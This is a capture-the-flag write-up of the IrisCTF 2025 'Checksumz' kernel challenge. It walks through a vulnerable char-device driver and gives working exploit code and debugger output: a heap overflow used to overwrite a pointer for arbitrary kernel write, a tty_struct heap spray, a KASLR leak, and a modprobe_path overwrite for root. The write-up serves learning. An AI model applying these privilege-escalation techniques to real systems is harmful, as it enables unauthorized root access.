#import "./html_elements.typ": post #show: post // +++ // title = 'IrisCTF 2025 - Checksumz' // date = 2025-01-14T14:14:52-03:00 // tags = ['pwn', 'linux_kernel', 'ctf'] // +++ = Checksumz > [CTFtime task](https://ctftime.org/task/29885) > [Challenge files](https://github.com/gbrls/pwn/tree/main/iris-2025/checksumz) == Problem statement ```goat "Someone told me that I can write faster programs by putting them into kernel modules, so I replaced my checksum function with a char device." ``` We're given a nicely setup environment with a vulnerable kernel module. Below this the main struct with holds the driver's state per file descriptor. ```c struct checksum_buffer { loff_t pos; char state[512]; size_t size; size_t read; char* name; uint32_t s1; uint32_t s2; }; ``` It gets initialized in the `open` handler, note the `kzalloc` and pay attention to the size of each allocation. SLUB is the default allocator for most Linux systems and we know that it allocates blocks in fixed sizes and the page frames are separate[1]. So, `kmalloc-128` is used to allocations like 100 bytes, `kmalloc-256` for 200 bytes, etc. ```c static int checksumz_open(struct inode *inode, struct file *file) { file->private_data = kzalloc(sizeof(struct checksum_buffer), GFP_KERNEL); struct checksum_buffer* buffer = (struct checksum_buffer*) file->private_data; // ... buffer->name = kzalloc(1000, GFP_KERNEL); // ... return 0; } ``` In this case, since the allocations are above 512 and below 1024 bytes, they'll get allocated in `kmalloc-1024`. = Buffer overflow Below are the `lseek` and `write` handlers. Note that the overflow happens because we can set the `buffer->pos` to the end of the buffer, and during the write, it'll overflow. ```c static loff_t checksumz_llseek(struct file *file, loff_t offset, int whence) { struct checksum_buffer* buffer = file->private_data; switch (whence) { case SEEK_SET: buffer->pos = offset; break; // ... } if (buffer->pos < 0) buffer->pos = 0; if (buffer->pos >= buffer->size) // size is 256 buffer->pos = buffer->size - 1; // so we can set it to 255 return buffer->pos; } // ... static ssize_t checksumz_write_iter(struct kiocb *iocb, struct iov_iter *from) { struct checksum_buffer* buffer = iocb->ki_filp->private_data; size_t bytes = iov_iter_count(from); if (!buffer) return -EBADFD; if (!bytes) return 0; ssize_t copied = copy_from_iter(buffer->state + buffer->pos, min(bytes, 16), from); // we can start write from 255 to 255 + 16 buffer->pos += copied; if (buffer->pos >= buffer->size) buffer->pos = buffer->size - 1; return copied; } ``` And there is also a `read` that overflows, it leaks `256` bytes instead of `16`. ```c static ssize_t checksumz_read_iter(struct kiocb *iocb, struct iov_iter *to) { // ... ssize_t copied = copy_to_iter(buffer->state + buffer->pos, min(bytes, 256), to); // ... return copied; } ``` = hands on Let's test our assumptions debugging the kernel with driver. In the CTF challenge files we have symbols, so setting a breakpoint is as easy as `b *(checksumz_write_iter+113)`. And to trigger the breakpoint we can `open` the file descriptor and `write` to it: ```c // ... int fd = open("/dev/checksumz", O_RDWR); ssize_t written_bytes = write(fd, &data, sizeof(data)); // ... ``` In gdb when the breakpoint is triggered, let's inspect the `checksum_buffer`: object: ```bash pwndbg> p/x $rbx $5 = 0xff11000004a50800 pwndbg> p/x *((struct checksum_buffer*)$rbx) $1 = { pos = 0x1ff, state = {0x0 }, size = 0x100, read = 0x0, name = 0xff11000004a51400, s1 = 0x1, s2 = 0x0 } pwndbg> p/x ((struct checksum_buffer*)$rbx)->name-$rbx $8 = 0xc00 pwndbg> p 0xc00/0x400 $9 = 3 ``` Both heap allocations we discussed before are 1024 (0x400 in hex) aligned, i.e. their addresses are multiples of 0x400. We can also see that both allocations are close, just `0x400 * 3` bytes apart. = unlocking abilities (getting a better primitive) The first we're going to do is to override that `size` variable withthe overflow we have in the `state` buffer, since they're next to each other we just need to `lseek` to the end of `state` and then write a big value for `size`. Now that we are no longer constrained by 16 bytes right after `state`, we can also override the `name` string pointer. This is going to be very useful since we can use the `rename` `ioctl` to write to that pointer 48 bytes. ```c static long checksumz_ioctl(struct file *file, unsigned int command, unsigned long arg) { struct checksum_buffer* buffer = file->private_data; if (!file->private_data) return -EBADFD; switch (command) { // ... case CHECKSUMZ_IOCTL_RENAME: char __user *user_name_buf = (char __user*) arg; if (copy_from_user(buffer->name, user_name_buf, 48)) { return -EFAULT; } // ... ``` By overwriting the value in the `name` pointer and calling the `rename` `ioctl` we have an arbitrary write anywhere in the kernel :) ```c void arb_write(int fd, uint64_t addr, uint64_t* data) { lseek(fd, 0x210, addr); write(fd, &addr, sizeof(addr)); if (ioctl(fd, CHECKSUMZ_IOCTL_RENAME, data) < 0) { perror("ioctl - CHECKSUMZ_IOCTL_RENAME"); } } ``` = Heap magic Oops, the writeup for this part is in progress... `modprobe_path`, `KASLR`, `kmalloc-1024` Since we have a overflow on a object allocated to `kmalloc-1024` the heap layout will look like this: ```goat ┌──────┬─────┬─────────────────┬───────────┐ │ data │ ??? │ checksum_buffer │ ??? │ ├──────┼─────┼─────────────────┼───────────┤ │ addr │ ? │ ? + 0x400 │ ? + 0x800 │ └──────┴─────┴─────────────────┴───────────┘ ``` We can read and write to those objects since we can just offset via `lseek` by 0x400 steps. We want to organize the heap in a way that we know which objects will be allocated next to our `checksum_buffer` struct. Looking for `kmalloc-1024` at [2] we see that there is `tty_struct` that can be allocated by opening `/dev/ptmx`. Below is the code to spray the heap with `tty_structs` which will be placed at `kmalloc-1024`. We allocate objects before too, to defragment the heap's freelist and to ensure that it'll work if the heap grows backwards or forwards. ```c // spray sandwich below: // the sprayed objs are tty_struct // ref: https://elixir.bootlin.com/linux/v6.10.10/source/include/linux/tty.h#L188 // // spray before (bread) int spray[SPRAY_SZ]; for(int i = 0; i < SPRAY_SZ / 2; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if(spray[i] == -1) { __asm__("int3"); } } // object with overflow (cheese) int fd = open("/dev/checksumz", O_RDWR); // spray after (bread) for(int i = SPRAY_SZ / 2; i < SPRAY_SZ; i++) { spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); if(spray[i] == -1) { __asm__("int3"); } } ``` After the code above is executed the heap will look like the diagram below: ```goat ┌──────┬────────────┬─────────────────┬────────────┐ │ data │ tty_struct │ checksum_buffer │ tty_struct │ ├──────┼────────────┼─────────────────┼────────────┤ │ addr │ ? │ ? + 0x400 │ ? + 0x800 │ └──────┴────────────┴─────────────────┴────────────┘ ``` We'll verify our understanding of the system by debugging it with gdb again. When we run those commands below, `rbx` is holding the value of a address of a `checksum_buffer`. ```bash pwndbg> p/x $rbx $2 = 0xff11000004962400 pwndbg> telescope 0xff11000004962400+0x400 00:0000│ 0xff11000004962800 ◂— 0x7e00000001 01:0008│ 0xff11000004962808 ◂— 0 02:0010│ 0xff11000004962810 —▸ 0xff1100000414b240 ◂— 0x101 03:0018│ 0xff11000004962818 —▸ 0xff110000048edc00 —▸ 0xff110000048edc50 ◂— 0 04:0020│ 0xff11000004962820 —▸ 0xffffffff82289480 (ptm_unix98_ops) —▸ 0xffffffff8163dfa0 (ptm_unix98_lookup) ◂— endbr64 05:0028│ 0xff11000004962828 —▸ 0xff1100000459b050 —▸ 0xffffffff82bd14a0 (n_tty_ops) —▸ 0xffffffff82722080 (.LC3+121) ◂— 0x7264007974745f6e /* 'n_tty' */ 06:0030│ 0xff11000004962830 ◂— 0 07:0038│ 0xff11000004962838 ◂— 0 pwndbg> telescope 0xff11000004962400+0x400*3 00:0000│ 0xff11000004963000 ◂— 0x7e00000001 01:0008│ 0xff11000004963008 ◂— 0 02:0010│ 0xff11000004963010 —▸ 0xff1100000414b840 ◂— 0x101 03:0018│ 0xff11000004963018 —▸ 0xff110000048ed400 —▸ 0xff110000048ed450 ◂— 0 04:0020│ 0xff11000004963020 —▸ 0xffffffff82289360 (pty_unix98_ops) —▸ 0xffffffff8163e4c0 (pts_unix98_lookup) ◂— endbr64 05:0028│ 0xff11000004963028 —▸ 0xff1100000459b5f0 —▸ 0xffffffff82bd14a0 (n_tty_ops) —▸ 0xffffffff82722080 (.LC3+121) ◂— 0x7264007974745f6e /* 'n_tty' */ 06:0030│ 0xff11000004963030 ◂— 0 07:0038│ 0xff11000004963038 ◂— 0 ``` Note the values at the offsets `0x20`: `0xffffffff82289480` and `0xffffffff82289360`. These are high memory addresses that point to global variables on the kernel, we can use them to break `KASLR` ```c for (int i = 1; i <= 8; i++) { uint64_t kbase_leak = io_read(fd, 0x400 * i + (3 * 0x8)); // next kmalloc-1024 slot if (kbase_leak < 0xffffffff81000000) continue; // verify that we have a high-address pointer printf("(~) kbase_leak %016lx\n", kbase_leak); //ref: https://elixir.bootlin.com/linux/v6.10.10/source/drivers/tty/pty.c#L745 uint64_t ptm_unix98_ops_offset = 0xffffffff82289360 - 0xffffffff81000000; kbase = (kbase_leak - ptm_unix98_ops_offset) & 0xffffffffffff0000; break; } ``` = Arb write + KASLR leak = PRIVESC Now that we have those primitives, it's just a matter of rewriting the `modprobe_path` variable (_see [1]_) and executing a malformed binary. ```c uint64_t modprobe_path_offset = 0xffffffff82b3f100 - 0xffffffff81000000; printf("(!) modprobe_path: %016lx\n", kbase + modprobe_path_offset); write_global(fd, kbase + modprobe_path_offset, (uint64_t*)"/tmp/p"); system("echo -ne '#!/bin/sh\ncat /dev/vda > /tmp/flag' > /tmp/p"); system("chmod a+x /tmp/p"); system("echo -ne '\xff\xff\xff\xff' > /tmp/executeme"); system("chmod a+x /tmp/executeme"); printf("(!) Modprobe Setup done :)\n"); system("/tmp/executeme"); char flag_buf[0x200]; FILE* flag = fopen("/tmp/flag", "r"); fscanf(flag, "%s", flag_buf); printf("(~) FLAG: %s\n", flag_buf); ``` = References - [1] - https://pawnyable.cafe/linux-kernel/ - [2] - https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628